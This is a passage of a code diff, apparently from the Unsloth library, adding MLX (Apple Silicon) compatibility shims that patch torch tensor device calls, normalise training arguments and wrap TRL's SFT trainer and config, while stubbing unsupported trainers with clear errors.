getattr(torch.Tensor, "to", None) + if tensor_to is not None and not getattr(tensor_to, "_unsloth_mlx_cuda_noop", False): + + def _coerce_mlx_dtype_to_torch(value): + """Map MLX dtype objects to their torch dtype equivalents.""" + try: + import mlx.core as mx + except Exception: + return value + dtype_map = { + mx.bool_: torch.bool, + mx.int8: torch.int8, + mx.int16: torch.int16, + mx.int32: torch.int32, + mx.int64: torch.int64, + mx.uint8: torch.uint8, + mx.float16: torch.float16, + mx.float32: torch.float32, + mx.bfloat16: torch.bfloat16, + } + mapped = dtype_map.get(value, None) + if mapped is not None: + return mapped + dtype_name = str(value).rsplit(".", 1)[-1] + name_map = { + "bool_": torch.bool, + "int8": torch.int8, + "int16": torch.int16, + "int32": torch.int32, + "int64": torch.int64, + "uint8": torch.uint8, + "float16": torch.float16, + "float32": torch.float32, + "bfloat16": torch.bfloat16, + } + return name_map.get(dtype_name, value) + + def mlx_tensor_to(self, *args, **kwargs): + """Ignore CUDA device targets while preserving dtype conversions.""" + args = list(args) + kwargs = dict(kwargs) + removed_cuda_device = False + if args and _is_mlx_cuda_device_target(args[0]): + args.pop(0) + removed_cuda_device = True + if _is_mlx_cuda_device_target(kwargs.get("device", None)): + kwargs.pop("device", None) + removed_cuda_device = True + if removed_cuda_device and not args: + cuda_only_kwargs = ("non_blocking", "copy", "memory_format") + if all(key in cuda_only_kwargs for key in kwargs): + return self + if removed_cuda_device and not args and not kwargs: + return self + if args: + args[0] = _coerce_mlx_dtype_to_torch(args[0]) + if "dtype" in kwargs: + kwargs["dtype"] = _coerce_mlx_dtype_to_torch(kwargs["dtype"]) + return tensor_to(self, *args, **kwargs) + + mlx_tensor_to._unsloth_mlx_cuda_noop = True + mlx_tensor_to._unsloth_original_to = tensor_to + torch.Tensor.to = mlx_tensor_to + + tensor_cuda = getattr(torch.Tensor, "cuda", None) + if tensor_cuda is not None and not getattr(tensor_cuda, "_unsloth_mlx_cuda_noop", False): + + def mlx_tensor_cuda(self, *args, **kwargs): + """Treat tensor.cuda() as a no-op on MLX.""" + return self + + mlx_tensor_cuda._unsloth_mlx_cuda_noop = True + mlx_tensor_cuda._unsloth_original_cuda = tensor_cuda + torch.Tensor.cuda = mlx_tensor_cuda + + _patch_mlx_torch_cuda_compat_api() + + _MLX_TRAINING_CONFIG_FIELDS = {_field.name for _field in _dataclasses.fields(MLXTrainingConfig)} + _MLX_TRAINING_ARGUMENT_ALIASES = { + "max_length": "max_seq_length", + } + _MLX_COMPAT_EXTRA_ARGUMENTS = frozenset( + ( + "bf16", + "dataloader_num_workers", + "dataloader_pin_memory", + "dataset_kwargs", + "ddp_find_unused_parameters", + "disable_tqdm", + "eval_strategy", + "evaluation_strategy", + "fp16", + "full_determinism", + "gradient_checkpointing_kwargs", + "hub_model_id", + "hub_token", + "log_level", + "logging_strategy", + "neftune_noise_alpha", + "optim_args", + "padding_free", + "push_to_hub", + "remove_unused_columns", + "save_on_each_node", + "save_safetensors", + "save_strategy", + "torch_compile", + ) + ) + _MLX_IMPLEMENTED_EXTRA_ARGUMENTS = frozenset( + ( + "image_size", + "preserve_dataset_order", + "warmup_ratio", + ) + ) + _MLX_ALLOWED_EXTRA_ARGUMENTS = _MLX_COMPAT_EXTRA_ARGUMENTS | _MLX_IMPLEMENTED_EXTRA_ARGUMENTS + _MLX_UNSUPPORTED_TASK_ARGUMENTS = frozenset( + ( + "assistant_only_loss", + "completion_only_loss", + ) + ) + + def _is_mlx_no_save_strategy(value): + if hasattr(value, "value"): + value = value.value + strategy = str(value or "").strip().lower() + strategy = strategy.rsplit(".", 1)[-1] + return strategy in ("no", "none", "false") + + _MLX_ADAMW_OPTIMIZER_ALIASES = frozenset( + ( + "adamw_8bit", + "paged_adamw_8bit", + "adamw_bnb_8bit", + "paged_adamw_32bit", + "adamw_torch", + "adamw_torch_fused", + "paged_adamw", + "adamw_32bit", + "adamw_hf", + "adamw_anyprecision", + "adamw_apex_fused", + ) + ) + + def _normalize_mlx_training_value(key, value): + if key == "eval_steps" and value is None: + return 0 + if key == "num_train_epochs" and value is not None and not isinstance(value, bool): + try: + epochs = float(value) + except (TypeError, ValueError): + pass + else: + if epochs.is_integer(): + return int(epochs) + if key == "lr_scheduler_type" and hasattr(value, "value"): + return value.value + if key != "optim": + return value + try: + return _normalize_mlx_optimizer_name(value) + except ValueError: + # Older unsloth-zoo lacks CUDA/TRL optimizer aliases; map common + # adamw_* names so notebook defaults (optim="adamw_8bit") still work. + opt = str(getattr(value, "value", value) or "adamw").strip().lower() + opt = opt.rsplit(".", 1)[-1].replace("-", "_") + if opt in _MLX_ADAMW_OPTIMIZER_ALIASES: + return "adamw" + raise + + def _mlx_training_argument_values(args): + values = {} + for field in _dataclasses.fields(MLXTrainingConfig): + if hasattr(args, field.name): + values[field.name] = _normalize_mlx_training_value( + field.name, + getattr(args, field.name), + ) + for alias, target in _MLX_TRAINING_ARGUMENT_ALIASES.items(): + if target not in values and hasattr(args, alias): + values[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else alias] = getattr( + args, alias + ) + for name in _MLX_ALLOWED_EXTRA_ARGUMENTS: + if hasattr(args, name): + values[name] = getattr(args, name) + for name in _MLX_UNSUPPORTED_TASK_ARGUMENTS: + if hasattr(args, name): + value = getattr(args, name) + if ( + name == "completion_only_loss" + and value is not None + and name in _MLX_TRAINING_CONFIG_FIELDS + ): + values[name] = value + elif value is not None and value is not False: + values[name] = value + if _is_mlx_no_save_strategy(values.get("save_strategy", None)): + values["save_steps"] = 0 + return values + + def _split_mlx_trainer_kwargs(kwargs): + trainer_kwargs = {} + config_kwargs = {} + ignored_kwargs = {} + for key, value in kwargs.items(): + if key in _MLX_TRAINER_KWARGS: + trainer_kwargs[key] = value + continue + target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key) + if target in _MLX_TRAINING_CONFIG_FIELDS or key in _MLX_ALLOWED_EXTRA_ARGUMENTS: + config_kwargs[key] = value + else: + ignored_kwargs[key] = value + return trainer_kwargs, config_kwargs, ignored_kwargs + + def _is_mlx_training_args_like(value): + if isinstance(value, (MLXTrainingConfig, dict, str, os.PathLike)): + return True + return any( + hasattr(value, name) + for name in ( + "output_dir", + "per_device_train_batch_size", + "gradient_accumulation_steps", + "max_steps", + "learning_rate", + ) + ) + + def _should_use_trl_positional_schema(args): + if len(args) < 2: + return False + if _is_mlx_training_args_like(args[1]): + return True + # TRL callers often pass explicit defaults: + # SFTTrainer(model, None, None, train_dataset, ...) + return len(args) >= 3 and args[1] is None and (args[2] is None or callable(args[2])) + + def _assign_mlx_positional_kwarg(kwargs, name, value): + if name in kwargs: + raise TypeError( + f"UnslothTrainer.__init__() got multiple values for argument " f"{name!r}" + ) + kwargs[name] = value + + def _normalize_mlx_trainer_init_args(args, kwargs): + kwargs = dict(kwargs) + if len(args) == 0: + return kwargs + + use_trl_schema = _should_use_trl_positional_schema(args) + positional_names = ( + _TRL_SFT_TRAINER_POSITIONAL_KWARGS if use_trl_schema else _MLX_TRAINER_POSITIONAL_KWARGS + ) + if len(args) > len(positional_names): + raise TypeError( + f"UnslothTrainer.__init__() takes at most " + f"{len(positional_names)} positional arguments on MLX " + f"({len(args)} given)" + ) + for name, value in zip(positional_names, args): + _assign_mlx_positional_kwarg(kwargs, name, value) + return kwargs + + def _is_meaningful_mlx_extra_value(value): + if value is None or value is False: + return False + if isinstance(value, (str, bytes)) and len(value) == 0: + return False + if isinstance(value, (dict, list, tuple, set, frozenset)) and len(value) == 0: + return False + return True + + def _warn_ignored_mlx_training_args(extra_kwargs): + names = sorted( + key + for key, value in extra_kwargs.items() + if (key in _MLX_COMPAT_EXTRA_ARGUMENTS and _is_meaningful_mlx_extra_value(value)) + ) + if not names: + return + _warnings.warn( + "Unsloth MLX: accepting but not applying unsupported " + "TrainingArguments kwargs: " + f"{', '.join(names)}. These options are not implemented by " + "MLXTrainer yet.", + RuntimeWarning, + stacklevel = 3, + ) + + def _is_meaningful_mlx_trainer_kwarg(key, value): + if key == "optimizers" and value == (None, None): + return False + return _is_meaningful_mlx_extra_value(value) + + def _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs): + names = sorted( + key + for key, value in ignored_kwargs.items() + if _is_meaningful_mlx_trainer_kwarg(key, value) + ) + if not names: + return + raise NotImplementedError( + "Unsloth MLX: unsupported SFTTrainer kwargs cannot be ignored safely: " + f"{', '.join(names)}. Remove these kwargs or use a supported MLX " + "trainer configuration." + ) + + def _raise_unknown_mlx_training_args(extra_kwargs): + names = sorted(key for key in extra_kwargs if key not in _MLX_ALLOWED_EXTRA_ARGUMENTS) + if not names: + return + raise NotImplementedError( + "Unsloth MLX: unsupported TrainingArguments/SFTConfig kwargs: " + f"{', '.join(names)}. Remove these kwargs or use fields implemented " + "by MLXTrainingConfig." + ) + + def _positive_mlx_context_length(value): + if value is None or isinstance(value, bool): + return None + try: + length = int(value) + except (TypeError, ValueError, OverflowError): + return None + if length <= 0: + return None + return length + + def _positive_mlx_training_number(value): + if value is None or isinstance(value, bool): + return None + try: + number = float(value) + except (TypeError, ValueError, OverflowError): + return None + if number <= 0: + return None + return number + + def _set_mlx_cuda_style_context_length(args, length): + args.max_seq_length = length + args.max_length = length + args._unsloth_mlx_max_length_value = length + return args + + class UnslothTrainingArguments(MLXTrainingConfig): + """MLX-compatible public training arguments for Unsloth notebooks.""" + + def __init__(self, *args, **kwargs): + if len(args) == 1 and isinstance(args[0], dict): + kwargs = {**args[0], **kwargs} + elif len(args) == 1 and isinstance(args[0], (str, os.PathLike)): + kwargs = {"output_dir": os.fspath(args[0]), **kwargs} + elif args: + raise TypeError( + "UnslothTrainingArguments on MLX accepts keyword arguments, " + "a dict, or a single positional output_dir." + ) + + max_length_value = kwargs.get("max_length", None) + # Only the canonical max_seq_length marks context length explicit; TRL + # max_length stays a compatibility alias and defers to the model's + # context length when one is available. + max_seq_length_explicit = ( + _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None + ) + if "max_length" in kwargs and "max_seq_length" not in kwargs: + kwargs["max_seq_length"] = kwargs["max_length"] + elif ( + "max_length" in kwargs + and _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None + ): + max_length_value = kwargs["max_seq_length"] + if "num_train_epochs" in kwargs and "max_steps" not in kwargs: + kwargs["max_steps"] = -1 + + dataset_order_explicit = "dataset_order" in kwargs or bool( + kwargs.get("preserve_dataset_order", False) + ) + append_eos_explicit = "append_eos" in kwargs + grad_clip_explicit = any( + name in kwargs for name in ("max_grad_norm", "max_grad_value", "max_grad_leaf_norm") + ) + warmup_ratio = kwargs.get("warmup_ratio", None) + warmup_steps_supplied = "warmup_steps" in kwargs + warmup_steps_value = kwargs.get("warmup_steps", None) + warmup_steps_explicit = False + if warmup_steps_supplied: + try: + warmup_steps_explicit = int(warmup_steps_value) > 0 + except (TypeError, ValueError): + warmup_steps_explicit = True + filtered_kwargs = {} + extra_kwargs = {} + for key, value in kwargs.items(): + target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key) + if key != target and target in kwargs: + continue + value = _normalize_mlx_training_value(target, value) + if target in _MLX_UNSUPPORTED_TASK_ARGUMENTS: + if ( + target == "completion_only_loss" + and value is not None + and target in _MLX_TRAINING_CONFIG_FIELDS + ): + filtered_kwargs[target] = value + elif _is_meaningful_mlx_extra_value(value): + extra_kwargs[key] = value + continue + if target in _MLX_TRAINING_CONFIG_FIELDS: + filtered_kwargs[target] = value + else: + extra_kwargs[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else key] = value + + _raise_unknown_mlx_training_args(extra_kwargs) + + if _is_mlx_no_save_strategy(extra_kwargs.get("save_strategy", None)): + filtered_kwargs["save_steps"] = 0 + + if warmup_ratio is not None and not warmup_steps_explicit: + import math as _math + max_steps = filtered_kwargs.get( + "max_steps", + getattr(MLXTrainingConfig, "max_steps", 60), + ) + try: + if int(max_steps) > 0: + filtered_kwargs["warmup_steps"] = max( + 0, + _math.ceil(int(max_steps) * float(warmup_ratio)), + ) + except (TypeError, ValueError): + pass + + super().__init__(**filtered_kwargs) + self._unsloth_mlx_dataset_order_explicit = dataset_order_explicit + self._unsloth_mlx_append_eos_explicit = append_eos_explicit + self._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit + self._unsloth_mlx_max_length_value = max_length_value + if "max_length" in kwargs: + self.max_length = max_length_value + self._unsloth_mlx_grad_clip_explicit = grad_clip_explicit + self._unsloth_mlx_warmup_steps_explicit = warmup_steps_explicit + self._unsloth_mlx_extra_args = extra_kwargs + for key, value in extra_kwargs.items(): + setattr(self, key, value) + _warn_ignored_mlx_training_args(extra_kwargs) + + def _resolve_mlx_cuda_style_max_seq_length(args, model = None): + model_max_seq_length = _positive_mlx_context_length( + getattr(model, "max_seq_length", None), + ) + args_max_seq_length = _positive_mlx_context_length( + getattr(args, "max_seq_length", None), + ) + args_max_seq_length_explicit = getattr( + args, + "_unsloth_mlx_max_seq_length_explicit", + None, + ) + if args_max_seq_length_explicit is None: + default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048) + args_max_seq_length_explicit = ( + args_max_seq_length is not None and args_max_seq_length != default_max_seq_length + ) + if not args_max_seq_length_explicit: + args_max_seq_length = None + + if args_max_seq_length is None and model_max_seq_length is not None: + args_max_seq_length = model_max_seq_length + elif ( + args_max_seq_length is not None + and model_max_seq_length is not None + and args_max_seq_length > model_max_seq_length + ): + print( + "Unsloth: You set `max_seq_length` as " + f"{args_max_seq_length} but the maximum the model supports is " + f"{model_max_seq_length}. We shall reduce it." + ) + args_max_seq_length = model_max_seq_length + + if args_max_seq_length is not None: + _set_mlx_cuda_style_context_length(args, args_max_seq_length) + return args + + model_max_length = model_max_seq_length + if model_max_length is None: + model_max_length = _positive_mlx_context_length( + getattr(model, "max_length", None), + ) + if model_max_length is not None: + _set_mlx_cuda_style_context_length(args, model_max_length) + return args + + args_max_length = _positive_mlx_context_length( + getattr(args, "max_length", None), + ) + if args_max_length is None: + args_max_length = _positive_mlx_context_length( + getattr(args, "_unsloth_mlx_max_length_value", None), + ) + if args_max_length is not None: + _set_mlx_cuda_style_context_length(args, args_max_length) + if model is not None: + setattr(model, "max_seq_length", args_max_length) + return args + + _set_mlx_cuda_style_context_length(args, 1024) + return args + + def _apply_unsloth_trainer_mlx_defaults( + args, + model = None, + max_seq_length_explicit = False, + ): + if ( + not getattr(args, "streaming", False) + and not getattr(args, "preserve_dataset_order", False) + and not getattr(args, "_unsloth_mlx_dataset_order_explicit", False) + ): + default_order = getattr(MLXTrainingConfig, "dataset_order", "default") + if getattr(args, "dataset_order", default_order) in (None, default_order): + args.dataset_order = "torch_randperm" + + if isinstance(args, UnslothTrainingArguments) and not getattr( + args, "_unsloth_mlx_append_eos_explicit", False + ): + args.append_eos = False + + if isinstance(args, UnslothTrainingArguments) and not getattr( + args, "_unsloth_mlx_grad_clip_explicit", False + ): + max_grad_norm = _positive_mlx_training_number( + getattr(args, "max_grad_norm", None), + ) + max_grad_value = _positive_mlx_training_number( + getattr(args, "max_grad_value", None), + ) + max_grad_leaf_norm = _positive_mlx_training_number( + getattr(args, "max_grad_leaf_norm", None), + ) + if max_grad_norm is None and max_grad_value is None and max_grad_leaf_norm is None: + args.max_grad_norm = 1.0 + + if not max_seq_length_explicit: + _resolve_mlx_cuda_style_max_seq_length(args, model = model) + return args + + def _coerce_mlx_training_args(args, overrides = None): + overrides = overrides or {} + if isinstance(args, MLXTrainingConfig) and not overrides: + return args + dataset_order_explicit = None + append_eos_explicit = None + max_seq_length_explicit = None + max_length_value = None + grad_clip_explicit = None + if args is None: + values = {} + elif isinstance(args, dict): + values = dict(args) + elif isinstance(args, (str, os.PathLike)): + values = {"output_dir": os.fspath(args)} + else: + dataset_order_explicit = getattr( + args, + "_unsloth_mlx_dataset_order_explicit", + False, + ) + append_eos_explicit = getattr( + args, + "_unsloth_mlx_append_eos_explicit", + None, + ) + max_seq_length_explicit = getattr( + args, + "_unsloth_mlx_max_seq_length_explicit", + None, + ) + if max_seq_length_explicit is None: + args_max_seq_length = _positive_mlx_context_length( + getattr(args, "max_seq_length", None), + ) + default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048) + max_seq_length_explicit = ( + args_max_seq_length is not None + and args_max_seq_length != default_max_seq_length + ) + max_length_value = getattr( + args, + "_unsloth_mlx_max_length_value", + getattr(args, "max_length", None), + ) + grad_clip_explicit = getattr( + args, + "_unsloth_mlx_grad_clip_explicit", + None, + ) + values = _mlx_training_argument_values(args) + if hasattr(args, "max_length"): + values["max_length"] = getattr(args, "max_length") + values.update(overrides) + coerced = UnslothTrainingArguments(**values) + if ( + dataset_order_explicit is not None + and "dataset_order" not in overrides + and "preserve_dataset_order" not in overrides + ): + coerced._unsloth_mlx_dataset_order_explicit = dataset_order_explicit + if append_eos_explicit is not None and "append_eos" not in overrides: + coerced._unsloth_mlx_append_eos_explicit = append_eos_explicit + if ( + max_seq_length_explicit is not None + and "max_seq_length" not in overrides + and "max_length" not in overrides + ): + coerced._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit + if max_length_value is not None and "max_length" not in overrides: + coerced._unsloth_mlx_max_length_value = max_length_value + coerced.max_length = max_length_value + if ( + grad_clip_explicit is not None + and "max_grad_norm" not in overrides + and "max_grad_value" not in overrides + and "max_grad_leaf_norm" not in overrides + ): + coerced._unsloth_mlx_grad_clip_explicit = grad_clip_explicit + return coerced + + _MLX_TRAINER_POSITIONAL_KWARGS = ( + "model", + "tokenizer", + "train_dataset", + "eval_dataset", + "dataset_text_field", + "max_seq_length", + "packing", + "data_collator", + "args", + "formatting_func", + "processor", + ) + _TRL_SFT_TRAINER_POSITIONAL_KWARGS = ( + "model", + "args", + "data_collator", + "train_dataset", + "eval_dataset", + "processing_class", + "compute_loss_func", + "compute_metrics", + "callbacks", + "optimizers", + "optimizer_cls_and_kwargs", + "preprocess_logits_for_metrics", + "peft_config", + "formatting_func", + ) + _MLX_TRAINER_KWARGS = frozenset(_MLX_TRAINER_POSITIONAL_KWARGS) + + def _is_mlx_native_text_collator(collator): + """HF pad/copy collators are redundant on MLX; match by class name.""" + for klass in type(collator).__mro__: + name = klass.__name__ + if name in ( + "DataCollatorForSeq2Seq", + "DataCollatorWithPadding", + "DefaultDataCollator", + ): + return True + if name == "DataCollatorForLanguageModeling": + # Plain causal padding is fine; MLM masking changes semantics. + return not bool(getattr(collator, "mlm", False)) + return False + + _MLX_VISION_COLLATOR_FORWARDED_KWARGS = frozenset( + ("completion_only_loss", "formatting_func", "max_seq_length") + ) + _MLX_VISION_COLLATOR_IMAGE_KWARGS = frozenset(("image_size", "resize")) + _MLX_VISION_COLLATOR_POSITIONAL_KWARGS = ( + "max_seq_length", + "formatting_func", + "resize", + "ignore_index", + "train_on_responses_only", + "instruction_part", + "response_part", + "force_match", + "num_proc", + "completion_only_loss", + "pad_to_multiple_of", + "resize_dimension", + "snap_to_patch_size", + "last_response_only", + ) + _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS = { + "ignore_index": -100, + "train_on_responses_only": False, + "instruction_part": None, + "response_part": None, + "force_match": True, + "num_proc": None, + "pad_to_multiple_of": None, + "resize_dimension": 0, + "snap_to_patch_size": False, + "last_response_only": False, + } + + def _is_default_mlx_vision_collator_value(key, value): + """Return whether an unsupported collator value is the CUDA default.""" + if key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS: + return False + default = _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS[key] + if default is None: + return value is None + if isinstance(default, bool): + return value is default + return value == default and type(value) is type(default) + + def _has_mlx_training_arg_value(args, key): + """Return whether training args already carry an explicit config value.""" + if args is None or isinstance(args, (str, os.PathLike)): + return False + if isinstance(args, dict): + return key in args + return getattr(args, key, None) is not None + + def _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs): + """Reject VLM collator kwargs that cannot be ignored safely on MLX.""" + unsupported = sorted( + key + for key, value in collator_kwargs.items() + if ( + key not in _MLX_VISION_COLLATOR_FORWARDED_KWARGS + and key not in _MLX_VISION_COLLATOR_IMAGE_KWARGS + and ( + ( + key in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS + and not _is_default_mlx_vision_collator_value(key, value) + ) + or ( + key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS + and _is_meaningful_mlx_extra_value(value) + ) + ) + ) + ) + if unsupported: + raise NotImplementedError( + "Unsloth MLX: unsupported UnslothVisionDataCollator kwargs " + f"cannot be ignored safely: {', '.join(unsupported)}." + ) + + class UnslothTrainer(MLXTrainer): + """Backend-aware public trainer that routes supported SFT notebooks to MLX.""" + + def __init__(self, *args, **kwargs): + kwargs = _normalize_mlx_trainer_init_args(args, kwargs) + processing_class = kwargs.pop("processing_class", None) + processor_from_processing_class = False + if processing_class is not None: + if kwargs.get("processor", None) is None: + kwargs["processor"] = processing_class + processor_from_processing_class = True + if kwargs.get("tokenizer", None) is None: + kwargs["tokenizer"] = getattr( + processing_class, + "tokenizer", + processing_class, + ) + kwargs.setdefault("tokenizer", None) + + data_collator = kwargs.pop("data_collator", None) + if data_collator is not None: + if isinstance(data_collator, UnslothVisionDataCollator): + collator_processor = getattr(data_collator, "processor", None) + if collator_processor is not None and ( + kwargs.get("processor", None) is None or processor_from_processing_class + ): + kwargs["processor"] = collator_processor + if kwargs.get("tokenizer", None) is None: + kwargs["tokenizer"] = getattr( + collator_processor, + "tokenizer", + collator_processor, + ) + collator_kwargs = getattr(data_collator, "kwargs", None) or {} + collator_explicit_kwargs = getattr( + data_collator, + "_unsloth_mlx_explicit_kwargs", + set(collator_kwargs), + ) + collator_image_size = collator_kwargs.get( + "image_size", + collator_kwargs.get("resize", None), + ) + if isinstance(collator_image_size, list): + collator_image_size = tuple(collator_image_size) + if ( + isinstance(collator_image_size, str) + and collator_image_size.lower() == "max" + ): + collator_image_size = "max" + if "image_size" not in kwargs and ( + isinstance(collator_image_size, int) + or collator_image_size == "max" + or ( + isinstance(collator_image_size, tuple) + and len(collator_image_size) == 2 + and all(isinstance(x, int) for x in collator_image_size) + ) + ): + kwargs["image_size"] = collator_image_size + for collator_key in _MLX_VISION_COLLATOR_FORWARDED_KWARGS: + collator_defaulted_value = collator_key not in collator_explicit_kwargs + if collator_defaulted_value and _has_mlx_training_arg_value( + kwargs.get("args"), collator_key + ): + continue + if ( + collator_key in collator_kwargs + and collator_key not in kwargs + and collator_kwargs[collator_key] is not None + ): + kwargs[collator_key] = collator_kwargs[collator_key] + _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs) + elif _is_mlx_native_text_collator(data_collator): + pass # redundant on MLX; MLXTrainer batches/masks/pads natively + else: + raise NotImplementedError( + "Unsloth MLX: custom data_collator is not supported by " + "MLXTrainer. Pass the dataset directly or use the MLX " + "trainer's native batching path." + ) + + trainer_kwargs, config_kwargs, ignored_kwargs = _split_mlx_trainer_kwargs(kwargs) + _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs) + trainer_kwargs["args"] = _coerce_mlx_training_args( + trainer_kwargs.get("args"), + config_kwargs, + ) + if getattr( + trainer_kwargs["args"], "completion_only_loss", None + ) is True and not _is_vlm_model(trainer_kwargs.get("model")): + raise NotImplementedError( + "Unsloth MLX: completion_only_loss=True is only supported " + "for VLM training. For text SFT, call train_on_responses_only " + "after constructing the trainer." + ) + if getattr( + trainer_kwargs["args"], "train_on_completions", None + ) is True and not _is_vlm_model(trainer_kwargs.get("model")): + raise NotImplementedError( + "Unsloth MLX: train_on_completions=True is only supported " + "for VLM training. For text SFT, call train_on_responses_only " + "after constructing the trainer." + ) + trainer_kwargs["args"] = _apply_unsloth_trainer_mlx_defaults( + trainer_kwargs["args"], + model = trainer_kwargs.get("model"), + max_seq_length_explicit = (trainer_kwargs.get("max_seq_length") is not None), + ) + + super().__init__(**trainer_kwargs) + self.processing_class = ( + processing_class + if processing_class is not None + else self.processor or self.tokenizer + ) + if trainer_kwargs.get("max_seq_length") is not None: + _set_mlx_cuda_style_context_length( + self.args, + self.args.max_seq_length, + ) + self._unsloth_mlx_ignored_trainer_kwargs = ignored_kwargs + class UnslothVisionDataCollator: + def __init__( + self, + model = None, + processor = None, + *args, + **kwargs, + ): + explicit_kwargs = set(kwargs) + if len(args) > len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS): + raise TypeError( + "UnslothVisionDataCollator on MLX accepts at most " + f"{len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS)} positional " + "options after model and processor." + ) + for key, value in zip(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS, args): + if key in kwargs: + raise TypeError( + f"UnslothVisionDataCollator got multiple values for argument {key!r}" + ) + kwargs[key] = value + explicit_kwargs.add(key) + if "completion_only_loss" not in kwargs: + kwargs["completion_only_loss"] = True + self.model = model + self.processor = processor + self.args = () + self.kwargs = kwargs + self._unsloth_mlx_explicit_kwargs = explicit_kwargs + + def __call__(self, features): + raise NotImplementedError( + "Unsloth: UnslothVisionDataCollator is a compatibility placeholder " + "on MLX. Pass the dataset to UnslothTrainer; MLXTrainer performs " + "vision batching internally." + ) + + def get_chat_template(*args, **kwargs): + """Apply an Unsloth chat template through a lazy MLX-safe import.""" + from .chat_templates import get_chat_template as _get_chat_template + return _get_chat_template(*args, **kwargs) + + def apply_chat_template(*args, **kwargs): + """Format a dataset with an Unsloth chat template through a lazy import.""" + from .chat_templates import apply_chat_template as _apply_chat_template + return _apply_chat_template(*args, **kwargs) + + def standardize_data_formats(*args, **kwargs): + """Normalize ShareGPT-style datasets through the shared zoo helper.""" + from unsloth_zoo.dataset_utils import standardize_data_formats as _standardize_data_formats + return _standardize_data_formats(*args, **kwargs) + + def standardize_sharegpt(*args, **kwargs): + """Alias ShareGPT standardization to the shared dataset-format helper.""" + return standardize_data_formats(*args, **kwargs) + + def train_on_responses_only(*args, **kwargs): + """Mask non-response tokens through the shared zoo dataset helper.""" + from unsloth_zoo.dataset_utils import train_on_responses_only as _train_on_responses_only + return _train_on_responses_only(*args, **kwargs) + + def _safe_mlx_trl_star_exports(_trl): + """Return importable TRL star exports plus the MLX SFT shims.""" + exports = list(getattr(_trl, "__all__", ())) + safe_exports = [] + for name in exports: + try: + getattr(_trl, name) + except Exception: + continue + safe_exports.append(name) + for name in ("SFTConfig", "SFTTrainer"): + if name not in safe_exports: + safe_exports.append(name) + return safe_exports + + # trl trainers with no MLX implementation yet. Swap them for stubs that fail + # with a clear message instead of importing the real torch/CUDA trainer and + # crashing deep inside it, so an unmigrated GRPO/DPO/ORPO notebook is legible. + _MLX_UNSUPPORTED_TRL_TRAINERS = ( + "GRPOTrainer", + "DPOTrainer", + "ORPOTrainer", + "KTOTrainer", + "PPOTrainer", + "RewardTrainer", + ) + + def _make_mlx_unsupported_trl_trainer(name): def __init__(self, *args, **kwargs): raise NotImplementedError( - "Unsloth: UnslothVisionDataCollator is not used on MLX. " - "Use the MLX trainer/data path instead." + f"Unsloth: {name} is not yet supported on the MLX (Apple Silicon) " + f"backend. Only SFT training runs on MLX today; use a CUDA/ROCm GPU " + f"for {name}." ) + return type(name, (), {"__init__": __init__, "_unsloth_mlx_unsupported": True}) + + class _MLXSFTConfig(UnslothTrainingArguments): + """`trl.SFTConfig` alias that keeps TRL's default training length. + + TRL/HF SFTConfig defaults to num_train_epochs=3 (max_steps=-1); the + native MLX config defaults to max_steps=60. An unmigrated notebook that + builds SFTConfig without an explicit length would otherwise silently run + 60 MLX steps under this alias, so seed the TRL epoch default when neither + max_steps nor num_train_epochs is given (epoch mode is MLX-supported). + """ + + def __init__(self, *args, **kwargs): + keys = set(kwargs) + if len(args) == 1 and isinstance(args[0], dict): + keys |= set(args[0]) + if not ({"max_steps", "num_train_epochs"} & keys): + kwargs.setdefault("num_train_epochs", 3) + super().__init__(*args, **kwargs) + + def _install_mlx_trl_sft_shim(): + """Install MLX-backed TRL SFT shims without replacing the TRL module.""" + _trl = _sys.modules.get("trl") + if _trl is None: + try: + import trl as _trl + except ImportError: + _trl = _types.ModuleType("trl") + _trl.__version__ = "0.0.0+unsloth-mlx" + _trl.__package__ = "trl" + _trl.__path__ = [] + _trl.__spec__ = _machinery.ModuleSpec("trl", loader = None, is_package = True) + _sys.modules["trl"] = _trl + + _trl.SFTTrainer = UnslothTrainer + _trl.SFTConfig = _MLXSFTConfig + # Only retarget trainers the installed trl actually exposes (don't invent + # attributes); idempotent so re-importing unsloth is a no-op. + # Decide what to stub from trl's declared exports (__all__) and already + # materialized attrs only. A getattr probe here would trigger trl's lazy + # trainer import, pulling torch and breaking `import unsloth` on torch-free + # MLX just to check existence. + _trl_exports = set(getattr(_trl, "__all__", ()) or ()) + # Stub every non-SFT trainer trl exposes, not just a fixed list, so newer + # trainers (RLOOTrainer, ...) also fail with a clear MLX message instead + # of importing the real torch trainer. Names come from __all__ so we never + # resolve them (that would trigger trl's lazy import and pull torch). + _unsupported = set(_MLX_UNSUPPORTED_TRL_TRAINERS) | { + _n for _n in _trl_exports if _n.endswith("Trainer") and _n != "SFTTrainer" + } + for _name in _unsupported: + _current = vars(_trl).get(_name) + if getattr(_current, "_unsloth_mlx_unsupported", False): + continue + if _name in _trl_exports or _current is not None: + setattr(_trl, _name, _make_mlx_unsupported_trl_trainer(_name)) + _trl.__all__ = _safe_mlx_trl_star_exports(_trl) + _trl.__UNSLOTH_MLX_COMPAT__ = True + + def _install_mlx_unsloth_trainer_shim(): + module_name = f"{__name__}.trainer" + _trainer = _types.ModuleType(module_name) + _trainer.__package__ = __name__ + _trainer.__spec__ = _machinery.ModuleSpec(module_name, loader = None) + _trainer.MLXTrainer = MLXTrainer + _trainer.MLXTrainingConfig = MLXTrainingConfig + _trainer.UnslothTrainer = UnslothTrainer + 